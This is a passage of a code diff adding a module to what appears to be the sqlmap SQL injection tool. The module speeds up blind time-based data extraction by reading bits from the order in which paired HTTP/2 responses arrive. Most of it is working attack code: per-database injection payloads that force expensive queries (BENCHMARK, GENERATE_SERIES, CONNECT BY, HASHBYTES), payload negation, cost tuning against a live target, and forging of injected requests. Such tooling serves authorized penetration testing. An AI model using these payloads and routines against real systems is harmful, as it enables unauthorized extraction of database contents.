most engines. +# +# The oracle is only valid when the target processes the two streams CONCURRENTLY; a serializing +# front-proxy makes order track arrival, not work. calibrate() detects that (and estimates the readable +# delta) so the caller never applies the oracle blind - it falls back to classic time-based instead. + +import threading + +from lib.core.enums import DBMS +from lib.request.http2 import _H2Connection + +# Serializes the one-shot autoEngage() so concurrent worker threads never double-calibrate/double-engage. +_engageLock = threading.Lock() + + +def buildConditionPair(condition, heavy, cheap="0"): + """Turn a boolean `condition` (the same comparison bisection injects at INFERENCE_MARKER, e.g. + 'ORD(...)>64') into the two INFERENCE expressions the timeless oracle needs: one that makes the DB + do the expensive `heavy` work iff the condition is TRUE, and its mirror that does the SAME heavy work + iff the condition is FALSE. Exactly one of the pair runs heavy for any given row, so response order + names the bit - with NO SLEEP, purely from the natural cost of `heavy`. Both expressions are valid + booleans (>=0 always holds) so they never change the page, keeping the channel blind. + + `heavy` is a DBMS-specific bounded-cost scalar subquery (a partial scan / expensive function); + `cheap` is a constant. CASE/WHEN is used so the branch is gated deterministically rather than relying + on optimiser short-circuit. + + >>> c, n = buildConditionPair("ORD(x)>64", "SELECT COUNT(*) FROM t") + >>> c + '(CASE WHEN (ORD(x)>64) THEN (SELECT COUNT(*) FROM t) ELSE (0) END)>=0' + >>> n + '(CASE WHEN (ORD(x)>64) THEN (0) ELSE (SELECT COUNT(*) FROM t) END)>=0' + """ + condExpr = "(CASE WHEN (%s) THEN (%s) ELSE (%s) END)>=0" % (condition, heavy, cheap) + negExpr = "(CASE WHEN (%s) THEN (%s) ELSE (%s) END)>=0" % (condition, cheap, heavy) + return condExpr, negExpr + + +def _pairOrder(conn, reqA, reqB, timeout): + """Send reqA and reqB as one coalesced pair; return the stream id that finished FIRST plus the two + stream ids in send order (reqA got the lower id).""" + order, _results = conn.exchange_pair([reqA, reqB], timeout) + loSid = conn.next_sid - 4 + hiSid = conn.next_sid - 2 + return order[0], loSid, hiSid + + +def readBit(conn, reqCond, reqNeg, votes=5, timeout=30): + """Read one boolean by the cond-last FRACTION over symmetric pairs, ESCALATING when the fraction is + ambiguous (load-degraded). + + reqCond does the heavy work iff the guessed condition is TRUE; reqNeg does the SAME heavy work iff the + condition is FALSE (it carries the negated condition). Exactly one runs heavy, so whichever finishes + LAST names the answer. Each vote alternates which stream id carries reqCond (cancels lower-id-first bias) + and counts how often reqCond finished last: + - real TRUE -> reqCond (heavy) finishes last almost every vote -> fraction ~1.0 + - real FALSE -> reqNeg (heavy) finishes last -> fraction ~0.0 + - END-OF-STRING -> the comparison is NULL, and negatePayload's NULL-safe negation makes reqNeg run + heavy on that NULL, so reqCond finishes first -> fraction ~0.0 (on a DBMS that instead ERRORS past + the end - CockroachDB - both requests error and it is a ~0.5 coin flip). + Decision: fraction >= 0.8 -> TRUE; <= 0.5 -> FALSE (covers real-false ~0, NULL end-of-string ~0, and + CockroachDB error end-of-string ~0.5, so the string terminates cleanly instead of inventing phantom + trailing characters). The 0.5-0.8 band is where a genuine TRUE bit lands when self-induced load (e.g. + --threads: N value-parallel workers => ~Nx heavy queries contend and add jitter, though calibration was + single-threaded) drags its fraction down; that is NOT a mean shift but variance, so we ESCALATE - keep + voting up to a cap and average it out - which recovers it above 0.8 without lowering the threshold (a + lower threshold would misread CockroachDB's ~0.5 error-eos as a character). SYMMETRIC, so the base query + time cancels - robust where absolute pair-time, gap, and always-heavy-reference signals are confounded.""" + condLast, i = 0, 0 + cap = votes * 5 # escalation ceiling for ambiguous (load-degraded) bits + while True: + if i % 2 == 0: + first, loSid, _hiSid = _pairOrder(conn, reqCond, reqNeg, timeout) + condSid = loSid + else: + first, _loSid, hiSid = _pairOrder(conn, reqNeg, reqCond, timeout) + condSid = hiSid + if first != condSid: # reqCond finished last -> it ran heavy -> vote says TRUE + condLast += 1 + i += 1 + if i < votes: # gather a minimum sample before deciding + continue + fraction = condLast / float(i) + if fraction >= 0.8: + return True + if fraction <= 0.5: + return False + if i >= cap: # still ambiguous after escalating -> decide by the same threshold + return fraction >= 0.8 + + +def calibrate(conn, reqSlow, reqFast, trials=40, threshold=0.9, timeout=30, progress=None): + """Decide whether the target is usable for the timeless oracle. Sends a KNOWN-asymmetric pair + (reqSlow does real extra work, reqFast short-circuits) in BOTH stream-id orderings; on a concurrent + backend the slow request finishes last regardless of its id. Returns (usable, confidence) where + confidence is the fraction of trials in which the slow request finished last. Below `threshold` the + backend is serializing (or the delta is unreadable) -> caller must NOT use the oracle. `progress`, if + given, is called once per trial so the caller can stream a progress indicator.""" + slowLast = 0 + for i in range(trials): + if i % 2 == 0: + first, loSid, _hiSid = _pairOrder(conn, reqSlow, reqFast, timeout) + slowSid = loSid + else: + first, _loSid, hiSid = _pairOrder(conn, reqFast, reqSlow, timeout) + slowSid = hiSid + if first != slowSid: + slowLast += 1 + if progress is not None: + progress() + confidence = slowLast / float(trials) if trials else 0.0 + return (confidence >= threshold), confidence + + +def connect(host, port=443, proxy=None, timeout=30): + """Open a dedicated HTTP/2 connection for timeless probing (kept separate from the request pool so + its multiplexed pairs never interleave with ordinary single-stream traffic).""" + return _H2Connection(host, port, proxy, timeout) + + +class TimelessOracle(object): + """The engaged timeless-timing oracle, held on kb.timeless while active. queryPage() routes every + boolean comparison (timeBasedCompare requests) here instead of measuring wall-clock time: it takes the + already-assembled condition request (built via buildOnly), pairs it against a FIXED always-heavy + reference and reads the bit from response order. This reuses the entire bisection/inference/threading + stack unchanged - bisection just calls queryPage and gets a bool. + + Thread safety: each worker thread gets its OWN H2 connection (threading.local), mirroring keepalive.py + and the http2 pool - streams from different threads never interleave on one socket, so parallel + per-value extraction (--threads / _threadedInferenceValues) is safe. The reference request is an + immutable spec-derived dict, so it is shared read-only across threads.""" + + def __init__(self, host, port, refReq, proxy=None, asymVotes=12, votes=5, timeout=30): + self.host, self.port, self.proxy = host, port, proxy + self.refReq = refReq # fixed always-heavy reference request (asymmetric tiebreak) + self.asymVotes = asymVotes # asymmetric tiebreak: fixed pairs, fraction-thresholded + self.votes = votes # symmetric: pairs per bit, cond-last fraction thresholded (readBit); + # enough votes that TRUE ~100% and end-of-string ~50% separate cleanly + self.timeout = timeout + self._local = threading.local() + self._conns = [] # every opened connection, for clean teardown + self._lock = threading.Lock() + self.savedTechnique = None # active technique whose vector we swapped (restored on disengage) + self.savedVector = None + + def _conn(self): + conn = getattr(self._local, "conn", None) + if conn is None or not conn.usable: + conn = self._local.conn = connect(self.host, self.port, self.proxy, self.timeout) + with self._lock: + self._conns.append(conn) + return conn + + def readBitFromSpecs(self, condSpec, negSpec=None): + """Read the bit from the assembled condition request and, when available, its negation. With a + negSpec the SYMMETRIC oracle is used (cond-last fraction over votes - base query time cancels, so it + stays reliable on heavy/noisy enumeration queries and detects end-of-string as the ~50% split). The + asymmetric-vs-reference path is only a fallback for a non-sentinel vector (no negSpec) and must not + be used for a heavy-base condition (the trivial-base reference is not comparable). Specs are the + (url, method, headers, post) tuples from getPage(buildOnly=True).""" + reqCond = _specToReq(condSpec, self.host) + if negSpec is not None: + return readBit(self._conn(), reqCond, _specToReq(negSpec, self.host), votes=self.votes, timeout=self.timeout) + return readBitAsymmetric(self._conn(), reqCond, self.refReq, self.asymVotes, self.timeout) + + def close(self): + with self._lock: + for conn in self._conns: + try: + conn.close() + except Exception: + pass + self._conns = [] + + +def engage(host, port, vector, proxy=None, timeout=30): + """Build the fixed always-heavy reference from `vector` (INFERENCE=1=1) and install a per-thread + TimelessOracle on kb.timeless (connections open lazily per worker thread). queryPage picks it up + automatically. Call disengage() when done. `vector` is the tuned rung-2 heavy vector (see tuneHeavy). + The reference is used by the asymmetric tiebreak when a symmetric read splits (end-of-string / noise).""" + from lib.core.data import kb + + refReq = _forgeRequest("1=1", host, vector) + kb.timeless = TimelessOracle(host, port, refReq, proxy=proxy, timeout=timeout) + return kb.timeless + + +def disengage(): + """Tear down the timeless oracle and close all per-thread connections.""" + from lib.core.data import kb + + oracle = kb.get("timeless") + if oracle is not None: + if oracle.savedTechnique is not None: + try: + from lib.core.common import getTechniqueData + getTechniqueData(oracle.savedTechnique).vector = oracle.savedVector + except Exception: + pass + oracle.close() + kb.timeless = None + + +def hintTimeless(): + """Advisory nudge: when a scan is about to rely on TIME-based blind (the slowest channel) and the user + did NOT pass '--timeless', probe the target for HTTP/2 and, if it speaks it, suggest '--timeless' once. + Only fires when time-based is the channel that will actually be used (no faster in-band option) so the + hint is never noise. Purely advisory, never raises, at most one message per run.""" + from lib.core.data import conf, kb + from lib.core.common import isTechniqueAvailable, singleTimeWarnMessage + from lib.core.enums import PAYLOAD + + try: + if conf.get("timeless") or kb.get("timelessHinted"): + return + kb.timelessHinted = True + + # only relevant when time-based is the chosen channel (a faster in-band one would be used instead) + if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME): + return + if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.BOOLEAN)): + return + + try: + from urllib.parse import urlsplit + except ImportError: + from urlparse import urlsplit + parts = urlsplit(conf.url or "") + if parts.scheme != "https": + return + + # cheap one-connection HTTP/2 ALPN probe: connect() raises unless the server negotiates 'h2' + conn = connect(parts.hostname, parts.port or 443, None, conf.timeout or 30) + conn.close() + singleTimeWarnMessage("target speaks HTTP/2 - switch '--timeless' can extract this time-based injection " + "by relative response order (no delay), typically far faster. Consider re-running with '--timeless'") + except Exception: + pass + + +def autoEngage(): + """Attempt to engage the timeless oracle for the current target's EXTRACTION phase. Called once by + action() after detection (so the heavy vector is swapped in BEFORE any extraction payload is built). + Requires '--timeless', an https/HTTP-2 target, and a confirmed time-based technique on a DBMS with a + light-heavy primitive; calibrates + tunes and only engages if the response-order signal is reliable + (the safety gate) - otherwise the scan silently keeps using classic time-based. Never raises.""" + from lib.core.data import conf, kb, logger + from lib.core.common import Backend + + with _engageLock: + if kb.get("timeless") is not None: + return True + return _doAutoEngage(conf, kb, logger, Backend) + + +def _doAutoEngage(conf, kb, logger, Backend): + try: + if not conf.get("timeless"): + return False + + # Never during detection - that phase confirms the vuln (and runs the false-positive check) by + # measuring REAL induced delays, which response-order would break. kb.testMode is True throughout + # detection and False once extraction begins. + if kb.get("testMode"): + return False + + # Timeless accelerates TIME-based extraction, so it needs a CONFIRMED time-based technique whose + # data carries an [INFERENCE] vector - that vector is what we swap for the tuned heavy one. + from lib.core.enums import PAYLOAD + from lib.core.settings import INFERENCE_MARKER + timeData = kb.injection.data.get(PAYLOAD.TECHNIQUE.TIME) if (kb.injection and kb.injection.data) else None + if not timeData or INFERENCE_MARKER not in (timeData.vector or ""): + return False + + try: + from urllib.parse import urlsplit + except ImportError: + from urlparse import urlsplit + parts = urlsplit(conf.url or "") + if parts.scheme != "https": + logger.warning("'--timeless' requires an https/HTTP-2 target. Falling back to classic time-based") + return False + + host, port = parts.hostname, parts.port or 443 + dbms = Backend.getIdentifiedDbms() + if lightHeavyVector(dbms, LIGHT_HEAVY_COSTS[0]) is None: + logger.warning("'--timeless' has no heavy-query primitive for DBMS '%s' yet. Falling back to classic time-based" % dbms) + return False + + # Calibration sends a few hundred coalesced probe-pairs to measure the target's response-order + # reliability and tune the work size - that is the pause the user sees before engagement. Announce + # it and stream a dot per probe, mirroring the classic time-based "statistical model, please wait". + import time as _time + from lib.core.common import dataToStdout + dataToStdout("[%s] [INFO] calibrating HTTP/2 timeless timing on '%s' (measuring response-order reliability), please wait" % (_time.strftime("%X"), dbms)) + probe = connect(host, port, None, conf.timeout or 30) + # value-parallel dumping runs conf.threads workers concurrently, each firing heavy queries; demand + # that much more calibration margin so the tuned cost survives the self-induced load (see tuneHeavy). + loadFactor = max(1, conf.threads or 1) + try: + vector, cost, confidence = tuneHeavy(probe, dbms=dbms, progress=lambda: dataToStdout('.'), loadFactor=loadFactor) + finally: + probe.close() + dataToStdout(" (done)\n") + + if not vector: + logger.warning("HTTP/2 timeless timing is not usable on this target (confidence %.2f, backend likely serializes streams). Falling back to classic time-based" % confidence) + return False + + oracle = engage(host, port, vector, timeout=conf.timeout or 30) + # Votes per bit for the cond-last fraction: enough that a real TRUE (~100%) clears the 80% threshold + # and end-of-string (~50%) stays below it, with headroom for jitter. A perfectly-calibrated target + # needs fewer; a marginal one gets more. (No validateChar re-check runs under timeless.) + oracle.votes = 5 if confidence >= 1.0 else 9 + + # bisection forges its comparison payloads from the TIME technique's vector - swap in the tuned + # heavy (sentinel) vector NOW (before extraction builds any payload) so every condition request + # gates the heavy branch and carries the sentinels the symmetric oracle negates. Restored on + # disengage(). + oracle.savedTechnique = PAYLOAD.TECHNIQUE.TIME + oracle.savedVector = timeData.vector + timeData.vector = vector + + logger.info("turning on HTTP/2 timeless timing (heavy cost %d, calibration %.2f) - reading bits by response order, no delay" % (cost, confidence)) + return True + except Exception as ex: + from lib.core.common import getSafeExString + logger.warning("HTTP/2 timeless timing setup failed ('%s'). Falling back to classic time-based" % getSafeExString(ex)) + return False + + +# Connection/h2-forbidden request headers that a coalesced pair must not carry (open_url strips the same +# set for single requests); ':authority' replaces Host, and content-length/framing are h2's job. +_FORBIDDEN_HEADERS = frozenset(("host", "connection", "keep-alive", "proxy-connection", + "transfer-encoding", "upgrade", "content-length")) + + +def _specToReq(spec, fallbackAuthority): + """Convert the (url, method, headers, post) tuple that Connect.getPage(buildOnly=True) returns into + the request dict exchange_pair expects.""" + try: + from urllib.parse import urlsplit + except ImportError: + from urlparse import urlsplit + + url, method, headers, post = spec + parts = urlsplit(url) + path = parts.path or "/" + if parts.query: + path += "?" + parts.query + reqHeaders = {} + for key in (headers or {}): + name = key.decode("latin-1") if isinstance(key, bytes) else key + if name.lower() not in _FORBIDDEN_HEADERS: + reqHeaders[key] = headers[key] + return {"method": method, "path": path, "authority": (parts.netloc.split("@")[-1] or fallbackAuthority), + "headers": reqHeaders, "body": post} + + +def getHeavyVector(dbms=None): + """Return the raw heavy-query time-based vector shipped for `dbms` (default: the identified back-end), + reused verbatim as the timeless rung-2 payload - it is already an '... IF/CASE (INFERENCE) THEN + ELSE ...' gate, WAF-tuned and per-DBMS, so the heavy work provides the natural delta with no + SLEEP. Prefers the plain 'AND' boundary variant. Returns None if none is loaded.""" + from lib.core.data import conf + from lib.core.common import Backend + + dbms = dbms or Backend.getIdentifiedDbms() + if not dbms: + return None + + andVector = orVector = None + for test in (conf.tests or []): + title = (test.get("title") or "") + if "heavy query" not in title.lower(): + continue + testDbms = ((test.get("details") or {}).get("dbms")) or "" + testDbms = testDbms if isinstance(testDbms, str) else " ".join(testDbms) + # tolerate combined labels like "Microsoft SQL Server/Sybase" + if not (dbms.lower() in testDbms.lower() or any(part.strip().lower() == dbms.lower() for part in testDbms.split('/'))): + continue + vector = (test.get("vector") or "").strip() + # Only the inband boundary variants splice into a WHERE clause; skip stacked (';...') and inline forms. + if vector.upper().startswith("AND "): + andVector = andVector or vector + elif vector.upper().startswith("OR "): + orVector = orVector or vector + return andVector or orVector + + +# Light, TUNABLE heavy primitives for timeless rung 2. The shipped heavy-query vectors are tuned for +# absolute-timing thresholds (seconds) - e.g. SQLite RANDOMBLOB([SLEEPTIME]00000000/2) is ~50MB/request - +# which is both needlessly slow AND a DoS risk. Timeless only needs a few milliseconds above the target's +# scheduling noise, so we generate the SAME bounded-work idioms (series / catalog cross-joins) capped by a +# [COST] the calibrator dials UP from a small default until the response-order signal is reliable. That +# self-tunes to the lightest payload that works - fast, and never allocates a huge blob. +# [COST] is replaced with a row count; each primitive is a scalar sub-select doing ~[COST] units of +# bounded work. Grouped by dialect and keyed on sqlmap's canonical DBMS names (DBMS.* enum) so a fork +# (MariaDB->MySQL, CockroachDB->PostgreSQL, ...) resolves via its base DBMS, and there is no string drift. +# A DBMS absent here (or whose primitive is wrong on a given target) simply fails calibration and the scan +# falls back to classic time-based - the light-heavy is always safety-gated, never applied blind. +# +# SCOPE: timeless layers on top of a DETECTED time-based technique, so it can only ever engage on a DBMS +# that ships a time-based payload (data/xml/payloads/time_blind.xml): PostgreSQL, MySQL (+MariaDB/TiDB), +# Oracle, Microsoft SQL Server, Sybase, SQLite, Firebird, ClickHouse, IBM DB2, Informix, HSQLDB, SAP MaxDB. +# Engines with NO time-based payload (H2, MonetDB, CrateDB, Vertica, Presto/Trino, Snowflake) are never +# detected as injectable via time, so a light-heavy primitive for them is dead code - they are NOT listed. +# +# GATING & SAFETY: the heavy work must run for exactly ONE of a boolean condition and its negation, so +# response ORDER names the bit. It is gated by the shipped-vector shape `[RANDNUM]=(CASE WHEN (cond) THEN +# () ELSE [RANDNUM] END)` - the THEN branch does the work iff cond holds, the ELSE is a cheap literal. +# Some optimisers HOIST an uncorrelated scalar subquery out of the CASE and run it in BOTH branches (seen on +# TiDB with `(SELECT BENCHMARK(N,MD5(1)))`; MySQL 8.4 does not). That is not a correctness hazard here: when +# both branches do equal work the measured delta is ~0, so tuneHeavy's MIN_HEAVY_MS gate REJECTS the rung +# and the scan falls back to classic time-based - correct data, just no timeless speedup. Corruption only +# ever came from ENGAGING with a tiny-but-nonzero delta that flips under load; requiring MIN_HEAVY_MS of +# real server-side delay (not just a reliable idle order) is the fix for that, and it is primitive-agnostic. +# So the rule is simply: pick the strongest per-DBMS bounded primitive; if a target hoists/folds it to a +# sub-threshold delta, it safely falls back. Keyed on DBMS.* so forks resolve via their base DBMS +# (MariaDB/TiDB->MySQL, CockroachDB->PostgreSQL). +_LH_MYSQL = "(SELECT BENCHMARK([COST],MD5(1)))" # MySQL/MariaDB: CPU burn, O(1) memory (TiDB hoists -> safe fallback) +_LH_MSSQL = "(SELECT LEN(HASHBYTES('SHA2_512',REPLICATE(CAST('a' AS VARCHAR(MAX)),[COST]))))" # MSSQL/Sybase (VARCHAR(MAX) bypasses REPLICATE's 8000-byte cap) + +LIGHT_HEAVY = { + DBMS.PGSQL: "(SELECT COUNT(*) FROM GENERATE_SERIES(1,[COST]))", # PG materialises the series + DBMS.MYSQL: _LH_MYSQL, + DBMS.MSSQL: _LH_MSSQL, + DBMS.SYBASE: _LH_MSSQL, + DBMS.ORACLE: "(SELECT COUNT(*) FROM DUAL CONNECT BY LEVEL<=[COST])", + # recursive CTE - rows depend on the previous, so the engine must produce them one by one (never folded) + DBMS.SQLITE: "(SELECT COUNT(*) FROM (WITH RECURSIVE _c(_x) AS (SELECT 1 UNION ALL SELECT _x+1 FROM _c LIMIT [COST]) SELECT _x FROM _c))", + # ClickHouse ships a time-based payload; a plain COUNT folds (columnar) so force a per-row hash + DBMS.CLICKHOUSE: "(SELECT COUNT(*) FROM numbers([COST]) WHERE MD5(toString(number))='zz')", + # Firebird best-effort: no generator, recursion<=1024, strings<=32 KB -> fixed system-catalog cross-join + DBMS.FIREBIRD: "(SELECT SUM(a.RDB$RELATION_ID) FROM RDB$RELATIONS a, RDB$RELATIONS b, RDB$RELATIONS c)", + # NOTE: DB2/Informix/HSQLDB/SAP MaxDB ship time-based payloads but have no validated light-heavy here -> + # no entry -> they gracefully fall back to classic time-based (SLEEP/heavy-query) extraction. +} + +# Ascending cost ladder tuneHeavy walks ([COST] = generator rows / recursion depth / BENCHMARK iterations / +# string length). It escalates until the MEASURED server-side heavy delta is >= MIN_HEAVY_MS (a real time +# margin so bits don't flip under extraction load) AND the response-order calibrates reliably. The same +# [COST] costs very different time per primitive (a generator row << a BENCHMARK MD5 iteration), so the +# ladder is walked by measured time, not a fixed floor - each engine lands on whatever rung first clears the +# margin. The low rungs let CPU-dense primitives land near 20-60 ms instead of overshooting. Top is 4M so +# string primitives allocate at most ~4 MB (memory-safe, no spill/DoS). If even 4M can't reach MIN_HEAVY_MS +# reliably the target is too noisy/fast-to-read -> fall back to classic. Correctness beats ms - a flip means +# re-extract. +LIGHT_HEAVY_COSTS = (20000, 60000, 200000, 600000, 2000000, 4000000) +MIN_HEAVY_MS = 15.0 # required server-side heavy delta; ~15 ms clears realistic multi-hop extraction-load jitter +# The heavy/cheap PAIR separation must also be >= this fraction of the base (cheap) pair time - an absolute +# floor alone is marginal on a slow multi-hop path (a 15 ms margin on a ~50 ms base flips ~10% of bits under +# load); requiring a relative margin makes such a target climb to a robustly-separated cost. See tuneHeavy. +MIN_SEPARATION_FRAC = 0.5 + +# DBMSes whose primitive is a bounded GENERATOR whose row count sits in the [COST] slot. For these the bit +# gates the WORK AMOUNT (the count) rather than selecting between a heavy and a cheap CASE branch. This is +# what makes the oracle survive optimisers that DECORRELATE/HOIST an uncorrelated scalar subquery out of a +# CASE and run it in BOTH branches (observed on CockroachDB with GENERATE_SERIES for a non-foldable +# condition - the false branch still materialised the full series, so cond and neg were BOTH heavy and the +# response order was a coin flip -> corruption). With the count itself computed from the bit +# (GENERATE_SERIES(1, CASE WHEN cond THEN [COST] ELSE 1)) there is no constant subquery to hoist: the engine +# must evaluate the CASE first and only then generate that many rows, so exactly one of cond/neg does the +# work. CONNECT BY LEVEL<=expr and LIMIT expr are standard, so Oracle/SQLite use the same form. Validated +# end-to-end on CockroachDB (was corrupting, now reads 1.00) and PostgreSQL (still engages, unchanged). +_GATED_COST = frozenset((DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE)) + + +# Inert SQL-comment sentinels bracketing the injected comparison inside the heavy vector. They let the +# oracle build the exact NEGATED payload (heavy-iff-false) from the forged condition payload by a single +# regex - enabling the SYMMETRIC oracle (condition vs its negation, exactly one runs heavy, 1 pair reads +# the bit both ways) without any change to bisection. Comments are ignored by the DBMS parser. +INFERENCE_BEGIN = "/*tlb*/" +INFERENCE_END = "/*tle*/" + + +def lightHeavyVector(dbms, cost): + """Return the timeless rung-2 vector for `dbms` doing ~`cost` units of bounded work (or None if no + primitive is defined). The INFERENCE slot is bracketed with sentinels so negatePayload() can derive the + mirror for the symmetric oracle (condition vs its negation, exactly one runs heavy). + + Two gating shapes, both flowing through the exact same payload machinery: + - GENERATOR primitives (see _GATED_COST): the bit is placed INSIDE the row-count bound + (GENERATE_SERIES(1, CASE WHEN cond THEN [COST] ELSE 1)), so there is no constant subquery for an + optimiser to hoist out of a CASE and run in both branches - the count itself depends on the bit. + - Everything else: the classic '[RANDNUM]=(CASE WHEN cond THEN ELSE [RANDNUM])' branch, used + where the cost slot must stay constant (MySQL BENCHMARK) or there is no numeric cost (Firebird); + these engines were validated not to hoist. + Either way tuneHeavy's MIN_HEAVY_MS gate + faithful (uncorrelated) calibration mean a target that still + manages an unreadable delta simply fails calibration and falls back to classic - never corrupts.""" + primitive = LIGHT_HEAVY.get(dbms) + if not primitive: + return None + if dbms in _GATED_COST: + gate = "(CASE WHEN (%s[INFERENCE]%s) THEN %d ELSE 1 END)" % (INFERENCE_BEGIN, INFERENCE_END, int(cost)) + heavy = primitive.replace("[COST]", gate) + return "AND [RANDNUM]<%s" % heavy + heavy = primitive.replace("[COST]", str(int(cost))) + return "AND [RANDNUM]=(CASE WHEN (%s[INFERENCE]%s) THEN (%s) ELSE [RANDNUM] END)" % (INFERENCE_BEGIN, INFERENCE_END, heavy) + + +def negatePayload(value): + """Return `value` with the sentinel-bracketed comparison replaced by a NULL-SAFE negation, or None if + no sentinel pair is present (a non-timeless vector). Used to build the symmetric oracle's negated + request (the request whose heavy branch must run iff the condition does NOT hold). + + The negation is `(CASE WHEN (cond) THEN 1 ELSE 0 END)=0`, which is TRUE iff `cond` is false OR NULL - + NOT plain `NOT(cond)`. This is the end-of-string fix: past the end of a string the comparison + (ASCII(SUBSTR(...))>n) is NULL, and `NOT(NULL)` is NULL, so with plain NOT NEITHER the condition nor + its negation forces the heavy branch - both requests stay cheap and the response order is left to + secondary noise (measured ~0.6 cond-last on Oracle, not a clean coin flip), which invents phantom + trailing characters. With the CASE form the negation's ELSE catches NULL, so at end-of-string the + NEGATION request runs heavy and the condition request stays cheap: the condition finishes first every + vote (fraction ~0), read as False, and the string terminates cleanly. CASE + integer '=0' is portable + across every DBMS (unlike `IS NOT TRUE`).""" + import re + + pattern = re.compile(r"%s(.*?)%s" % (re.escape(INFERENCE_BEGIN), re.escape(INFERENCE_END))) + if not pattern.search(value or ""): + return None + return pattern.sub(lambda m: "%s(CASE WHEN (%s) THEN 1 ELSE 0 END)=0%s" % (INFERENCE_BEGIN, m.group(1), INFERENCE_END), value) + + +def _pairMs(conn, reqA, reqB, samples=5, timeout=30): + """Median wall-clock of the coalesced PAIR (reqA, reqB) until BOTH streams finish - tracks the heavy + branch when one is heavy, bare round-trip when none. Used for the reliability/separation gate that + decides which cost to engage at (see tuneHeavy).""" + import time as _t + + ts = [] + for _ in range(samples): + s = _t.time() + _pairOrder(conn, reqA, reqB, timeout) + ts.append((_t.time() - s) * 1000.0) + return sorted(ts)[samples // 2] + + +def _calibrationConditions(dbms): + """Return (trueCond, falseCond): a KNOWN-true and KNOWN-false boolean of the SAME shape real + extraction injects - the per-DBMS inference comparison applied to the version banner, i.e. an + UNCORRELATED, non-constant-foldable predicate (e.g. ASCII(SUBSTRING((VERSION())::text FROM 1 FOR 1))>1 + for true, >255 for false). This matters because some optimisers (CockroachDB, TiDB, ...) HOIST the + uncorrelated heavy subquery out of the CASE and run it in BOTH branches for such a predicate, while a + CONSTANT-foldable probe like '1=1'/'1=0' lets them prune the dead branch at plan time - so calibrating + with the constant sees a clean heavy delta the REAL extraction never has and engages straight into + corruption (bits become a coin flip). Calibrating with the faithful predicate makes a hoisting target + measure ~0 server-side delta on every rung, so tuneHeavy's MIN_HEAVY_MS gate rejects it and the scan + safely falls back to classic time-based. Falls back to the constant probes when the DBMS ships no + inference/banner template (calibration still gates, just without the hoist check).""" + from lib.core.data import queries + + try: + entry = queries[dbms] + template = entry.inference.query # e.g. 'ASCII(SUBSTRING((%s)::text FROM %d FOR 1))>%d' + banner = entry.banner.query # e.g. 'VERSION()' / 'SELECT @@VERSION' + # int value works for both '>%d' and quoted-char '>%c' templates (chr(1)/chr(255) stay in-range) + return (template % (banner, 1, 1), template % (banner, 1, 255)) + except Exception: + return ("1=1", "1=0") + + +def tuneHeavy(conn, dbms=None, trials=50, threshold=0.97, timeout=30, progress=None, loadFactor=1): + """Walk the cost ladder and return (vector, cost, confidence) for the LIGHTEST rung-2 heavy + that is BOTH (a) big enough in absolute server-side time (>= MIN_HEAVY_MS) to survive extraction load, + and (b) whose response-order signal calibrates as reliable. Returns (None, None, best_confidence) if + none qualifies. + + Requirement (a) is the fix for the fixed-[COST]-means-different-time trap: PostgreSQL generate_series(N) + and MySQL SHA2(REPEAT('a',N)) at the SAME N differ ~10x in wall time, so a fixed floor that is fine for a + generator is a ~1-2 ms nothing for a hash - which calibrates fine IDLE (order reliable) then flips bits + under load. Measuring the real delta and requiring a margin makes the tuning primitive-agnostic and + load-robust; on a fast single-hop backend the smallest qualifying cost is still tiny.""" + from lib.core.common import Backend + + dbms = dbms or Backend.getIdentifiedDbms() + # Probe with the faithful (uncorrelated, non-foldable) extraction predicate, NOT constant 1=1/1=0, so a + # target that hoists the heavy subquery out of the CASE (running it in both branches) is measured with + # ~0 delta and rejected here instead of engaging into corruption. See _calibrationConditions(). + trueCond, falseCond = _calibrationConditions(dbms) + best = 0.0 + for cost in LIGHT_HEAVY_COSTS: + vector = lightHeavyVector(dbms, cost) + if not vector: + return (None, None, 0.0) + reqSlow = _forgeRequest(trueCond, conn.host, vector) + reqFast = _forgeRequest(falseCond, conn.host, vector) + # Measure the coalesced-PAIR times: a one-heavy pair (reqSlow vs reqFast) and a no-heavy pair + # (reqFast vs reqFast). Their separation decides whether a real bit's response ORDER is readable + # (the reliability gate that picks which cost to engage at). + try: + heavyPair = _pairMs(conn, reqSlow, reqFast, timeout=timeout) + cheapPair = _pairMs(conn, reqFast, reqFast, timeout=timeout) + except Exception: + heavyPair = cheapPair = 0.0 + separation = heavyPair - cheapPair + # Reliability gate: the separation must clear an ABSOLUTE floor AND a FRACTION of the base (cheap) + # pair time. An absolute-only floor is enough on a fast single-hop path (cockroach base ~8 ms, a + # 16 ms separation is 2x the base) but marginal on a slow multi-hop one: on Oracle the base pair is + # ~50 ms, so a 15 ms separation is swamped by round-trip jitter under extraction load and ~10% of + # TRUE bits flip - even though it calibrates clean IDLE. Requiring separation >= a fraction of the + # base forces such a target to climb to a cost whose margin survives load (Oracle 60k sep 15 ms -> + # reject -> 200k sep 61 ms -> 0 flips). A fast path is unaffected (its base is tiny). + # `loadFactor` (= worker thread count) scales the required margin: N value-parallel workers each + # fire a heavy query, so the server sees ~Nx load during extraction that single-threaded calibration + # does not, dragging a marginal bit's cond-last fraction into the ambiguous band. Demanding N x the + # separation here climbs to a cost whose bigger delta keeps the fraction ~1.0 even under that load. + if separation < MIN_HEAVY_MS * loadFactor or separation < cheapPair * MIN_SEPARATION_FRAC * loadFactor: + if progress is not None: + progress() + continue # margin too thin to survive load -> escalate cost + usable, confidence = calibrate(conn, reqSlow, reqFast, trials=trials, threshold=threshold, timeout=timeout, progress=progress) + best = max(best, confidence) + if usable: + return (vector, cost, confidence) + return (None, None, best) + + +def _forgeRequest(inferenceExpr, authority, vector=None): + """Forge the full HTTP request sqlmap would send for a payload carrying `inferenceExpr` at the + INFERENCE_MARKER slot of `vector` (default: the current technique's vector), but capture it + (buildOnly) instead of sending - ready to coalesce. Late placeholders ([RANDNUM]/[SLEEPTIME]/...) + are filled by agent.payload just like a normal request.""" + from lib.core.agent import agent + from lib.core.common import getTechniqueData + from lib.core.settings import INFERENCE_MARKER + from lib.request.connect import Connect + + vector = vector if vector is not None else getTechniqueData().vector + forged = agent.suffixQuery(agent.prefixQuery(vector.replace(INFERENCE_MARKER, inferenceExpr))) + spec = Connect.queryPage(agent.payload(newValue=forged), buildOnly=True) + return _specToReq(spec, authority) + + +def readBitLive(conn, condition, vector=None, votes=1, timeout=30): + """Read one boolean from the LIVE injection point by timeless timing. `condition` is the 